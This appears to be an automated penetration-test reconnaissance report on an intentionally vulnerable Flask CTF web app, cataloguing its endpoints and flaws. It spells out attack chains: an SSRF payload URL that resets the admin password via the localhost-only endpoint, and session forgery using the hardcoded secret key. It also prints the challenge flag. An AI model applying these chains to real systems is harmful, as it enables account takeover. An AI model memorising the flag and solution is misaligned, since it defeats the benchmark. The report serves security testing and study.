# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All findings reported meet the "In-Scope" criteria defined below.

### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints.
- Endpoints requiring authentication via the application's standard login mechanisms.
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code.

### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `go run ./cmd/...`, `python scripts/...`).
- A development environment's internal tooling (e.g., a "run script" button in an IDE).
- CI/CD pipeline scripts or build tools (e.g., Dagger build definitions).
- Database migration scripts, backup tools, or maintenance utilities.
- Local development servers, test harnesses, or debugging utilities.
- Static files or scripts that require manual opening in a browser (not served by the application).

---

## 1. Executive Summary

The target application is an intentionally vulnerable Flask-based web application (XBEN-024-24 "Synthwave User Portal") designed as a Capture The Flag (CTF) challenge. This is a traditional monolithic Python web application running in a Docker container, exposed on HTTP port 80 with server-side rendered HTML templates using Jinja2. The application has **CRITICAL** security vulnerabilities across all major security domains.

**Most Critical Finding:** The application contains a **Server-Side Request Forgery (SSRF)** vulnerability in the profile picture upload functionality that can be exploited to bypass IP-based access controls and gain administrative access. This SSRF vulnerability at `/profile` (line 97 of `app.py`) allows authenticated users to make arbitrary HTTP requests from the server, enabling them to access a localhost-only password reset endpoint (`/reset_password`), reset the admin password, authenticate as admin, and retrieve the flag. Additional critical vulnerabilities include plaintext password storage, hardcoded credentials (`admin:adminpass`), a hardcoded session secret key (`supersecretkey`), missing CSRF protection across all state-changing operations, no HTTPS/TLS encryption, and the complete absence of security headers.

**Attack Surface Summary:** The application exposes 6 network-accessible HTTP endpoints: public endpoints for registration, login, and redirects; authenticated endpoints for profile management (containing the SSRF vulnerability) and logout; and a localhost-restricted password reset endpoint that becomes exploitable via SSRF. The application has no persistent database (in-memory storage only), no API documentation or schema files, and runs as a single service without microservices architecture. The primary attack vector is the SSRF-to-admin-access chain, which can be exploited by any registered user to compromise the admin account and capture the flag within minutes.

---

## 2. Architecture & Technology Stack

### Framework & Language

The application is built using **Python 3.8** with the **Flask 3.0.3** web framework as its sole external dependency. Flask provides routing, templating via Jinja2, session management, and request handling. The application follows a traditional monolithic architecture pattern with all code contained in a single 122-line Python file (`app.py`). The deployment model uses Docker containerization with a `python:3.8-slim` base image, orchestrated via Docker Compose, exposing port 80 for HTTP traffic.

**Security Implications:** The simplicity of having only Flask as a dependency reduces the attack surface from third-party vulnerabilities but also means the application lacks essential security libraries. There is no Flask-Bcrypt for password hashing, no Flask-WTF for CSRF protection, no Flask-Limiter for rate limiting, and no Flask-Talisman for security headers. The single-file monolithic structure makes the codebase easy to audit but concentrates all vulnerabilities in one location. Python 3.8, while a stable release, is approaching end-of-life (October 2024) and may not receive security updates for much longer.

### Architectural Pattern

This is a **traditional server-side rendered monolithic web application** with no API endpoints, no microservices, and no client-side JavaScript framework. All routing, business logic, authentication, and rendering occur server-side in the Flask application. The application uses Jinja2 templating to generate HTML responses dynamically based on session state and user data. Data persistence is entirely in-memory using a Python dictionary, meaning all user data is lost when the container restarts.

**Trust Boundary Analysis:** The primary trust boundary exists between the user's browser (untrusted) and the Flask application (trusted). Once authenticated, users are granted full access to their profile data based solely on the username stored in their session cookie. There is no trust boundary between application components since everything runs in a single process. The Docker container provides process isolation from the host, but the application itself lacks internal security boundaries. The localhost-only restriction on `/reset_password` attempts to create a trust boundary based on network origin, but this is trivially bypassed via the SSRF vulnerability.

### Critical Security Components

**Session Management:** Flask's default session implementation uses client-side signed cookies with a secret key. The session secret is hardcoded as `'supersecretkey'` (line 7), creating a critical vulnerability since anyone with knowledge of this key can forge valid session cookies. Sessions contain only the username and have no expiration time, no renewal mechanism, and no concurrent session limits. The session cookies lack proper security flags (Secure, HttpOnly, SameSite), making them vulnerable to interception and CSRF attacks.

**Authentication System:** The application implements basic username/password authentication with credentials stored in plaintext in an in-memory Python dictionary. The default admin account has credentials `admin:adminpass` hardcoded at lines 13-14. Password verification uses simple string equality comparison (line 61) without any hashing, timing-attack protection, or account lockout mechanisms. There is no rate limiting on login attempts, enabling brute-force attacks.

**File Upload Handling:** Profile picture uploads use `werkzeug.utils.secure_filename()` for filename sanitization and enforce an extension whitelist (`png, jpg, jpeg, gif`). However, the application also accepts a `profile_picture_url` parameter that uses `urllib.request.urlretrieve()` to fetch images from user-supplied URLs without any validation, creating the critical SSRF vulnerability. Files are stored in the `static/uploads/` directory without content validation, size limits, or antivirus scanning.

**Access Control:** The application uses a simplistic session-based authentication model with a binary admin privilege check (`if username == 'admin'` at line 102). There is no role-based access control (RBAC), no permission system, and no multi-tenancy support. The `/reset_password` endpoint implements IP-based access control (restricting to `127.0.0.1`), but this is bypassed by the SSRF vulnerability.

---

## 3. Authentication & Authorization Deep Dive

### Authentication Mechanisms and Security Properties

The application implements a traditional session-based authentication system with four key endpoints:

**Login Endpoint (`/login`, lines 56-66):** Accepts POST requests with `username` and `password` form parameters. Authentication succeeds if the username exists in the users dictionary and the password matches via plaintext comparison (line 61: `users[username]['password'] == password`). On success, the username is stored in the Flask session (line 62: `session['username'] = username`), and the user is redirected to their profile. **Critical Vulnerabilities:** (1) Plaintext password storage and comparison exposes all credentials; (2) No rate limiting enables unlimited brute-force attempts; (3) Timing attacks are possible since the comparison reveals whether the username exists; (4) No CSRF protection allows attackers to force login state changes; (5) Weak session secret enables session forgery attacks.

**Registration Endpoint (`/register`, lines 33-54):** Accepts POST requests with `username`, `password`, `first_name`, `last_name`, and `email` parameters. Registration creates a new dictionary entry (line 44) with plaintext password storage (line 46). **Critical Vulnerabilities:** (1) Passwords stored in plaintext without hashing; (2) No password complexity requirements (accepts single-character passwords); (3) No email verification (allows fake addresses); (4) Username enumeration via "Username already exists!" message (line 42); (5) No rate limiting enables account enumeration and spam registration; (6) No CSRF protection allows attackers to create unwanted accounts.

**Logout Endpoint (`/logout`, lines 68-71):** Uses a GET request to remove the username from the session (line 70: `session.pop('username', None)`). **Critical Vulnerabilities:** (1) GET-based logout is vulnerable to CSRF (attackers can logout users via `<img src="/logout">`); (2) No server-side session invalidation (only removes client-side cookie); (3) No CSRF protection; (4) Should use POST method for state-changing operations.

**Password Reset Endpoint (`/reset_password`, lines 104-116):** Accepts GET requests with `username` and `newpassword` query parameters, restricted to requests from `127.0.0.1` (line 106). Updates the password in plaintext (line 113: `users[username]['password'] = new_password`). **Critical Vulnerabilities:** (1) IP-based authentication is bypassed by the SSRF vulnerability in the profile endpoint; (2) GET method exposes passwords in URL parameters (logged in access logs); (3) No authentication token or email verification; (4) No password strength validation; (5) Username enumeration via different response codes (200 for existing users, 404 for non-existent users); (6) No rate limiting.

### Authentication API Endpoints (Exhaustive List)

| Endpoint | Method | File Location | Authentication Required | Purpose |
|----------|--------|---------------|------------------------|---------|
| `/login` | GET, POST | `app.py:56-66` | No (Public) | User authentication, session creation |
| `/register` | GET, POST | `app.py:33-54` | No (Public) | New user account creation |
| `/logout` | GET | `app.py:68-71` | No (Soft check) | Session termination |
| `/reset_password` | GET | `app.py:104-116` | IP-based (127.0.0.1 only) | Password reset (SSRF target) |

**Note:** There are no token refresh endpoints, password change endpoints (distinct from reset), multi-factor authentication endpoints, or API authentication endpoints. The application uses session-based authentication exclusively.

### Session Management and Token Security

**Session Cookie Configuration:** The application uses Flask's default session implementation with client-side signed cookies. The session secret key is explicitly set at line 7: `app.secret_key = 'supersecretkey'`. This hardcoded, weak secret enables session forgery attacks where attackers can craft valid session cookies containing arbitrary usernames (including `admin`) using Flask's `SecureCookieSessionInterface` with the known secret.

**Session Cookie Flags:** The application does not explicitly configure session cookie security flags. Flask 3.0.3 defaults provide `HttpOnly=True` (prevents JavaScript access), but `Secure=False` (allows transmission over HTTP) and `SameSite=None` (allows cross-site requests). **The exact file and line(s) where session cookie flags should be configured but are NOT:** Lines 7-8 in `app.py`. The missing configuration should include:
```python
app.config['SESSION_COOKIE_SECURE'] = True  # NOT CONFIGURED
app.config['SESSION_COOKIE_HTTPONLY'] = True  # Default True, but not explicit
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'  # NOT CONFIGURED
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=1)  # NOT CONFIGURED
```

**Session Security Issues:** (1) Missing `Secure` flag allows session cookie transmission over HTTP, enabling man-in-the-middle attacks; (2) Missing `SameSite` flag enables CSRF attacks; (3) No session expiration allows indefinite session lifetime; (4) No session renewal creates session fixation vulnerability; (5) No concurrent session limits allows unlimited sessions per user; (6) No IP binding allows sessions to be used from any network location; (7) Weak secret key enables session forgery.

### Authorization Model and Potential Bypass Scenarios

The application implements a **simplistic username-based privilege system** with no formal role-based access control. Authorization checks occur at two levels:

**Profile Access Authorization (lines 75-79):** The `/profile` endpoint checks if `'username'` exists in the session (line 75), retrieves the username from the session (line 78), and directly accesses user data using the username as a dictionary key (line 79: `user = users[username]`). This creates a **direct object reference pattern** where users can only access their own data based on the username in their session. **Bypass Scenario 1 - Session Forgery:** An attacker with knowledge of the hardcoded secret key `'supersecretkey'` can forge a Flask session cookie containing `{'username': 'admin'}`, granting immediate admin access without authentication.

**Admin Privilege Check (line 102):** The flag is conditionally rendered only for the admin user via a simple string comparison: `flag=FLAG if username == 'admin' else None`. This binary privilege system has no granular permissions, no role hierarchy, and no permission validators. **Bypass Scenario 2 - SSRF to Password Reset:** An authenticated user can exploit the SSRF vulnerability in the profile picture URL fetcher (line 97) to send a request to `http://127.0.0.1/reset_password?username=admin&newpassword=hacked`, bypassing the IP restriction and resetting the admin password.

**Potential Bypass Scenarios:**
1. **Session Forgery Attack:** Use the known secret key to create a session cookie with `username='admin'`, access `/profile`, retrieve flag.
2. **SSRF to Password Reset Attack:** Register account → login → POST to `/profile` with `profile_picture_url=http://127.0.0.1/reset_password?username=admin&newpassword=pwned` → logout → login as `admin:pwned` → retrieve flag.
3. **Brute Force Attack:** Unlimited login attempts against known admin username with password lists (mitigated only by password complexity of `adminpass`).
4. **Timing Attack:** Measure response times to distinguish between valid and invalid usernames, then brute-force passwords for valid accounts.

### Multi-tenancy Security Implementation

**Not Applicable** - This is a single-tenant application with no multi-tenancy features. There are no tenant IDs, organization structures, workspace isolation, or cross-tenant access controls. All users share the same namespace and in-memory dictionary. User isolation is enforced only by session-based username checks, which are weak due to the session forgery vulnerability.

### SSO/OAuth/OIDC Flows

**Not Implemented** - The application does not use SSO, OAuth, OIDC, or any third-party authentication providers. All authentication is local username/password based. There are no callback endpoints, no state parameter validation, no nonce parameter validation, no authorization code flows, and no token exchange mechanisms. The application has no integration with external identity providers.

---

## 4. Data Security & Storage

### Database Security

**Database Type:** The application does not use a traditional database system (PostgreSQL, MySQL, MongoDB, etc.). All data is stored in an **in-memory Python dictionary** declared at line 11: `users = { 'admin': { ... } }`. This dictionary is volatile and all data is lost when the application restarts. The default admin user is hardcoded in the dictionary at lines 12-19 with plaintext credentials.

**Encryption Status:** There is **no encryption at rest** since data exists only in memory. No database encryption, no field-level encryption, and no encrypted columns exist. Memory dumps or process inspection would reveal all user data including plaintext passwords. **Access Controls:** The dictionary uses usernames as keys, providing implicit single-user access per key, but no database-level access controls, no row-level security, and no audit logging exist. **Query Safety:** Not applicable - there are no SQL queries, so no SQL injection risk. All data access uses direct dictionary lookups (e.g., `users[username]`), which is safe from injection but vulnerable to key enumeration attacks.

### Data Flow Security

**Sensitive Data Paths:** User credentials flow through three primary paths: (1) **Registration Flow:** Browser → HTTP POST `/register` → Form parameters (`username`, `password`, `first_name`, `last_name`, `email`) → Stored in `users` dictionary with plaintext password → Session cookie with username → Profile rendering; (2) **Authentication Flow:** Browser → HTTP POST `/login` → Form parameters → Plaintext comparison → Session cookie creation → Redirect to profile; (3) **Password Reset Flow (SSRF):** Browser → HTTP POST `/profile` with `profile_picture_url` → Server-side `urllib.request.urlretrieve()` → Internal request to `http://127.0.0.1/reset_password?username=X&newpassword=Y` → Plaintext password update.

**Protection Mechanisms:** The application has minimal data flow protection: (1) **Output Encoding:** Jinja2 auto-escaping is enabled by default, preventing basic XSS attacks when rendering user data in templates; (2) **File Upload Sanitization:** `secure_filename()` is used to prevent path traversal attacks in uploaded filenames; (3) **Extension Whitelist:** Only `png`, `jpg`, `jpeg`, `gif` extensions are allowed for direct file uploads. **Missing Protections:** (1) No input validation on usernames, passwords, names, or emails; (2) No output encoding for JSON responses (not applicable - only HTML responses); (3) No URL validation for the `profile_picture_url` parameter (SSRF vulnerability); (4) No password strength requirements; (5) No email format validation beyond HTML5 client-side checks; (6) No file content validation (magic byte verification) for uploads; (7) No file size limits (DoS vulnerability).

**Encryption in Transit:** The application runs on **HTTP port 80 only** (line 121: `app.run(debug=False, host='0.0.0.0', port=80)`). There is **no TLS/HTTPS configuration**, no SSL certificates, and no HSTS headers. Docker Compose exposes only port 80. **Critical Impact:** All data transmitted in cleartext including passwords during login/registration, session cookies, PII (names, emails), profile updates, and file uploads. This enables man-in-the-middle attacks, credential theft, and session hijacking.

### Multi-tenant Data Isolation

**Not Applicable** - The application is not multi-tenant. There is no tenant isolation, no organization-level data separation, no tenant-specific databases or schemas, and no cross-tenant access prevention mechanisms. User isolation exists only at the session level: users can access only their own profile based on the username in their session cookie. This isolation is weak due to the session forgery vulnerability - an attacker can create session cookies for any username using the known secret key.

---

## 5. Attack Surface Analysis

### External Entry Points

The application exposes **6 network-accessible HTTP endpoints** on port 80. All endpoints are in-scope for network-based penetration testing:

**1. Root Endpoint (`GET /`, lines 27-31):** Public redirect endpoint that checks if `'username'` exists in the session. Authenticated users are redirected to `/profile`, unauthenticated users to `/login`. **Security Concerns:** No CSRF protection, but low impact since it only performs redirects. No user input processing. Uses `url_for()` with hardcoded route names, preventing open redirect attacks.

**2. Registration Endpoint (`GET/POST /register`, lines 33-54):** Public endpoint accepting user registration. GET requests render the registration form, POST requests create new accounts. **Input Parameters:** `username`, `password`, `first_name`, `last_name`, `email` (all required). **Attack Vectors:** (1) Username enumeration via "Username already exists!" message; (2) No rate limiting enables account spam and enumeration; (3) No CSRF protection allows unwanted account creation; (4) No input validation allows XSS payloads in name fields (mitigated by Jinja2 auto-escaping but stored in-memory); (5) No password complexity enforcement accepts weak passwords; (6) No email verification allows fake accounts.

**3. Login Endpoint (`GET/POST /login`, lines 56-66):** Public authentication endpoint. GET requests render the login form, POST requests authenticate users. **Input Parameters:** `username`, `password` (both required). **Attack Vectors:** (1) No rate limiting enables unlimited brute-force attempts; (2) Timing attacks distinguish valid/invalid usernames; (3) Plaintext password comparison exposes credentials in memory; (4) No CSRF protection; (5) No account lockout after failed attempts; (6) Known admin credentials `admin:adminpass` provide immediate access.

**4. Profile Endpoint (`GET/POST /profile`, lines 73-102):** Authenticated endpoint for profile management. GET requests render the profile page with user data and flag (if admin). POST requests update profile information. **Input Parameters:** `first_name`, `last_name`, `email`, `profile_picture` (file upload), `profile_picture_url` (URL string). **Attack Vectors:** (1) **CRITICAL SSRF vulnerability** in `profile_picture_url` parameter (line 97) - no URL validation allows arbitrary HTTP requests from server; (2) File upload with extension-only validation (no magic byte checks); (3) No file size limits enable disk exhaustion DoS; (4) No CSRF protection on profile updates; (5) Stored XSS potential in name/email fields (mitigated by Jinja2 auto-escaping in templates).

**5. Logout Endpoint (`GET /logout`, lines 68-71):** Session termination endpoint accessible to all users. **Attack Vectors:** (1) GET-based logout vulnerable to CSRF via `<img>` tags; (2) No server-side session invalidation; (3) Should use POST method. **Low severity** but poor security practice.

**6. Password Reset Endpoint (`GET /reset_password`, lines 104-116):** Restricted to localhost (`127.0.0.1`) only via IP check at line 106. Accepts `username` and `newpassword` query parameters. **Attack Vectors:** (1) **IP restriction bypassed by SSRF** vulnerability in `/profile` endpoint; (2) Passwords exposed in URL query parameters (logged in access logs); (3) GET method for state change; (4) No authentication token; (5) No email verification; (6) Username enumeration via different response codes (200 vs 404). **Note:** While localhost-restricted by design, this becomes a critical attack target when combined with the SSRF vulnerability.

### Internal Service Communication

**Not Applicable** - This is a monolithic application with no internal service-to-service communication, no microservices, no message queues, no internal APIs, and no service mesh. All functionality exists in a single Flask process within one Docker container. The only "internal" communication is the SSRF-enabled request from the application to itself via `http://127.0.0.1/reset_password`, which bypasses the IP restriction intended to create a trust boundary.

### Input Validation Patterns

The application implements **minimal input validation**, relying primarily on Flask's default request parsing and Jinja2's auto-escaping for output:

**File Upload Validation (lines 24-25, 86-91):** The `allowed_file()` function checks that filenames contain a dot and the extension is in the whitelist `{'png', 'jpg', 'jpeg', 'gif'}` (line 9: `app.config['ALLOWED_EXTENSIONS']`). Files are sanitized using `secure_filename()` from werkzeug.utils (lines 89, 96) to prevent path traversal. **Weaknesses:** No file content validation (magic byte verification), no file size limits, no virus scanning, no MIME type checking beyond extension.

**URL Validation (lines 93-100):** The `profile_picture_url` parameter has **NO validation whatsoever**. The user-supplied URL is passed directly to `urllib.request.urlretrieve()` at line 97 without checking the protocol (allows `file://`, `http://`, `https://`, `ftp://`), hostname (allows `127.0.0.1`, internal IPs, cloud metadata endpoints), or port. This is the **critical SSRF vulnerability**.

**Form Input Validation:** No validation exists for usernames, passwords, names, or emails beyond HTML5 client-side validation (e.g., `type="email"` attribute). Server-side accepts any string values without length limits, character restrictions, or format checks. This allows: (1) Single-character passwords; (2) Special characters in usernames (potential for injection if code changes); (3) Arbitrarily long inputs (potential DoS); (4) XSS payloads in name fields (currently mitigated by Jinja2 auto-escaping but stored in-memory).

**Output Encoding:** Jinja2 auto-escaping is enabled by default in Flask, automatically escaping `<`, `>`, `&`, `'`, `"` characters when rendering template variables like `{{ user.first_name }}`. This prevents basic XSS attacks in HTML body and attribute contexts. **No explicit `autoescape=True` configuration** is visible, but Flask enables this by default. No `| safe` filters or `mark_safe()` calls exist, preventing developers from accidentally disabling escaping.

### Background Processing

**Not Applicable** - The application has no background job processing, no async task queues (Celery, RQ, etc.), no scheduled cron jobs, no webhooks, and no event-driven processing. All operations are synchronous and executed within the HTTP request/response cycle. The only "background" activity is the Docker healthcheck (`curl -f http://127.0.0.1/` every 10 seconds), which is internal to the container and not accessible from the network.

---

## 6. Infrastructure & Operational Security

### Secrets Management

**Hardcoded Secrets - CRITICAL VULNERABILITIES:**

1. **Flask Session Secret Key** (`app.py:7`): `app.secret_key = 'supersecretkey'` - This weak, hardcoded secret enables session forgery attacks. Any attacker with this knowledge can create valid session cookies for arbitrary usernames using Flask's session serialization mechanism. **Recommendation:** Use `app.secret_key = os.environ.get('SECRET_KEY')` with a cryptographically random key generated via `secrets.token_hex(32)`.

2. **Default Admin Credentials** (`app.py:13-14`): Username `'admin'` with password `'adminpass'` hardcoded in the users dictionary. These credentials are publicly accessible in the source code and enable immediate administrative access. **Recommendation:** Remove default admin user, require admin account creation via environment variables or first-run setup with strong password requirements.

3. **CTF Flag** (`.env:1`, `app.py:22`): Flag stored as `FLAG="flag{335dd283-b8ce-4c22-b1d1-245c3f032575}"` in `.env` file and injected into application at Docker build time via `Dockerfile:12-13` (`ARG FLAG` and `RUN sed -i s/@FLAG@/$FLAG/g /app/app.py`). While this is acceptable for a CTF challenge, production applications should never embed secrets at build time.

**Secret Storage Assessment:** All secrets are committed to source control (`.env` file, hardcoded values in `app.py`). There is no integration with secret management services (AWS Secrets Manager, HashiCorp Vault, Azure Key Vault, GCP Secret Manager, Kubernetes Secrets). No environment variable loading beyond Docker build-time injection. No secret rotation mechanisms exist.

### Configuration Security

**Environment Separation:** The application has no configuration separation between development, staging, and production environments. The same hardcoded values are used regardless of deployment context. No environment-specific configuration files (e.g., `config.dev.py`, `config.prod.py`) exist. The Docker Compose file (`docker-compose.yml`) defines a single environment with the flag passed as a build argument.

**Secret Handling:** Secrets are handled insecurely via hardcoded values in source code and `.env` files committed to version control. Flask's `debug` mode is disabled (`debug=False` at line 121), which is a security best practice preventing debug information leakage. However, no other security-focused configuration exists.

**Security Headers Infrastructure:** I searched for infrastructure configuration files that define security headers (Nginx configs, Kubernetes Ingress, CDN settings). **Findings:** No Nginx, Apache, or reverse proxy configurations exist in the codebase. No `nginx.conf`, `httpd.conf`, or similar files. No Kubernetes manifests (`*.yaml` in a `k8s/` directory). No CDN configuration for CloudFlare, Fastly, or AWS CloudFront. **Specifically searched for:**
- **HSTS (Strict-Transport-Security):** NOT configured anywhere. Application runs on HTTP only, and no infrastructure layer adds HSTS headers.
- **Cache-Control:** No explicit cache control headers configured. Flask's default caching behavior applies.
- **Other Security Headers (CSP, X-Frame-Options, X-Content-Type-Options):** Not configured in application code, no infrastructure layer detected to add them.

**Recommendation:** Implement security headers via Flask-Talisman or configure them in a reverse proxy (Nginx/Traefik) in front of the application.

### External Dependencies

**Direct Dependencies** (`requirements.txt`): The application has a single external dependency: `Flask==3.0.3`. This minimal dependency footprint reduces third-party vulnerability exposure but also means no security libraries are included (no Flask-Bcrypt, Flask-WTF, Flask-Limiter, Flask-Talisman, cryptography, etc.).

**Transitive Dependencies:** Flask 3.0.3 depends on: Werkzeug (WSGI utility library), Jinja2 (templating engine), Click (CLI framework), ItsDangerous (session signing), Blinker (signaling), and their dependencies. These are well-maintained core libraries, but should be monitored for CVEs.

**Third-Party Services:** The application has no external service integrations. No payment processors, no email services, no SMS gateways, no authentication providers (OAuth/OIDC), no analytics services, no CDNs (except for the Google Fonts CDN referenced in `style.css` for frontend fonts only), and no cloud service APIs. The only external network communication is the SSRF vulnerability allowing arbitrary outbound HTTP requests.

**Vulnerability Scanning Recommendation:** Run `pip-audit` or `safety` against `requirements.txt` to check for known CVEs in Flask 3.0.3 and its dependencies. As of this analysis, Flask 3.0.3 (released March 2024) has no known critical vulnerabilities.

### Monitoring & Logging

**Logging Status:** The application has **NO explicit logging implementation**. No logger configuration, no `logging` module imports, no `app.logger` usage, and no `print()` statements. The only visibility into application behavior comes from: (1) Flask's default access logs to stdout/stderr (logged by the WSGI server); (2) Docker container logs capturing stdout/stderr; (3) Docker healthcheck logs showing endpoint availability.

**Security Event Visibility:** The application does not log security-relevant events such as: Failed login attempts, successful logins, password changes/resets, account creation, profile updates, SSRF attempts (URL fetching via `profile_picture_url`), file uploads, or administrative actions. The generic exception handler at line 99 (`except Exception as e:`) catches SSRF errors but only flashes a user-facing message without logging the attempted URL, making detection impossible.

**Monitoring & Alerting:** No monitoring infrastructure exists. No Prometheus metrics, no Datadog integration, no CloudWatch alarms, no Grafana dashboards, and no SIEM integration. The Docker healthcheck (`curl -f http://127.0.0.1/` every 10 seconds with 3 retries) provides basic availability monitoring but no performance or security monitoring.

**Recommendations:** (1) Implement structured logging using Python's `logging` module with JSON formatter; (2) Log authentication events (login/logout/registration) with timestamps and IP addresses; (3) Log SSRF attempts (all URLs submitted to `profile_picture_url`); (4) Implement intrusion detection alerts for suspicious patterns (multiple failed logins, localhost URL submissions, etc.); (5) Forward logs to a centralized logging service (ELK stack, Splunk, CloudWatch Logs).

---

## 7. Overall Codebase Indexing

The codebase has a simple, flat directory structure optimized for a single-purpose CTF challenge. The root directory (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/`) contains orchestration files (Docker Compose, Makefile) and metadata (`benchmark.json` defining the CTF challenge parameters), while the `app/` subdirectory contains all application code and assets. This clear separation between deployment configuration and application logic is a positive organizational practice, though the minimal structure reflects the intentionally limited scope of a CTF challenge rather than a production application architecture.

**Application Directory (`app/`):** Contains the monolithic Flask application in `app.py` (122 lines), dependency definition in `requirements.txt` (1 line: Flask==3.0.3), and Docker build instructions in `Dockerfile` (13 lines). The `static/` subdirectory contains frontend assets (`style.css` for Synthwave-themed styling and an `uploads/` directory for user-uploaded profile pictures). The `templates/` subdirectory contains four Jinja2 HTML templates: `base.html` (shared layout with navigation), `login.html`, `register.html`, and `profile.html`. This follows Flask's conventional directory structure where templates are auto-discovered and static files are served from the `/static/` route.

**Build Orchestration:** The `Makefile` references an external `../common.mk` file, suggesting this application is part of a larger CTF challenge infrastructure with shared build tooling. The Makefile is not part of the network attack surface since it only runs during development/deployment. The `Dockerfile` uses a multi-stage build pattern with an `ARG FLAG` instruction allowing build-time flag injection, and a `sed` command (line 13) to replace the `@FLAG@` placeholder in `app.py` with the actual flag value from the `.env` file passed via Docker Compose build arguments.

**Testing & Code Generation:** No testing framework is present - no `pytest`, `unittest`, `tests/` directory, or CI/CD configuration (no GitHub Actions, GitLab CI, Jenkins files). No code generation tools detected (no Swagger Codegen, OpenAPI generators, or ORM schema generators). This is consistent with a CTF challenge focused on vulnerability exploitation rather than production software quality practices. The lack of tests means there are no test-specific endpoints or debug utilities that might accidentally expose sensitive functionality.

**Configuration Management:** Configuration is minimal and hardcoded. The `app.config` dictionary sets only three values: `UPLOAD_FOLDER = 'static/uploads'`, `ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}`, and implicitly `SECRET_KEY = 'supersecretkey'`. No configuration frameworks (like Flask-AppConfig or python-decouple), no YAML/JSON config files, and no environment-based configuration switching. This simplicity aids security review but demonstrates poor practices for secret management and environment separation.

**Discoverability Impact:** The flat structure makes security components easily discoverable - all authentication logic, authorization checks, SSRF vulnerability, and session management exist in the single `app.py` file. Template files in `templates/` are easily located for XSS sink analysis. However, the lack of API documentation, schema files, and code comments means understanding functionality requires reading the source directly. For penetration testers, the minimal codebase is ideal for rapid security analysis, but the lack of documentation could obscure design intentions in more complex real-world scenarios.

---

## 8. Critical File Paths

### Configuration
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/docker-compose.yml` - Docker orchestration, port exposure (80), flag injection as build argument
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/.env` - Flag storage (`FLAG="flag{335dd283-b8ce-4c22-b1d1-245c3f032575}"`)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/Dockerfile` - Container build, flag injection at build time (lines 12-13)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/benchmark.json` - CTF challenge metadata

### Authentication & Authorization
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/app.py` - All authentication/authorization logic:
  - Line 7: Hardcoded session secret key `'supersecretkey'`
  - Lines 11-20: In-memory user storage with hardcoded admin credentials (`admin:adminpass`)
  - Lines 33-54: Registration endpoint (plaintext password storage at line 46)
  - Lines 56-66: Login endpoint (plaintext password comparison at line 61, session creation at line 62)
  - Lines 68-71: Logout endpoint (session termination at line 70)
  - Lines 104-116: Password reset endpoint (IP restriction at line 106, plaintext password update at line 113)
  - Lines 75-79: Profile authentication check (session validation at line 75)
  - Line 102: Admin privilege check for flag display (`if username == 'admin'`)

### API & Routing
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/app.py` - All route definitions:
  - Lines 27-31: Root endpoint (`/`)
  - Lines 33-54: Registration endpoint (`/register`)
  - Lines 56-66: Login endpoint (`/login`)
  - Lines 68-71: Logout endpoint (`/logout`)
  - Lines 73-102: Profile endpoint (`/profile`) - CONTAINS SSRF VULNERABILITY
  - Lines 104-116: Password reset endpoint (`/reset_password`) - SSRF TARGET

### Data Models & DB Interaction
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/app.py`:
  - Lines 11-20: In-memory user data structure (no database)
  - Lines 13-19: Default admin user with hardcoded credentials
  - Lines 44-50: User registration data model (username, password, first_name, last_name, email, profile_picture)

### Dependency Manifests
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/requirements.txt` - Single dependency: `Flask==3.0.3`

### Sensitive Data & Secrets Handling
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/app.py`:
  - Line 7: Hardcoded session secret key
  - Line 22: Flag placeholder variable (`FLAG = "@FLAG@"`)
  - Lines 13-14: Hardcoded admin credentials
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/.env` - Flag storage in environment file

### Middleware & Input Validation
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/app.py`:
  - Lines 24-25: File extension validation function (`allowed_file()`)
  - Line 9: Allowed file extensions configuration
  - Lines 89, 96: Filename sanitization using `secure_filename()`
  - Lines 93-100: SSRF vulnerability - NO URL validation on `profile_picture_url`

### Logging & Monitoring
- **No logging configuration files exist** - Application relies on Flask default logging only
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/docker-compose.yml` - Lines 9-11: Docker healthcheck configuration

### Infrastructure & Deployment
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/docker-compose.yml` - Service definition, port mapping, healthcheck
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/Dockerfile` - Container build process, flag injection mechanism
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/Makefile` - Build automation (references external `../common.mk`)
- **No Nginx/Apache/Reverse Proxy configurations** - Application exposed directly on port 80
- **No Kubernetes manifests** - Deployment via Docker Compose only
- **No infrastructure-as-code (Terraform/Pulumi)** - Manual Docker deployment

### Frontend Templates (XSS Sink Locations)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/templates/base.html`:
  - Line 12: Session check for navigation display
  - Lines 20-27: Flash message rendering (line 24: `{{ message }}`)
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/templates/login.html` - Login form
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/templates/register.html` - Registration form
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-024-24/app/templates/profile.html`:
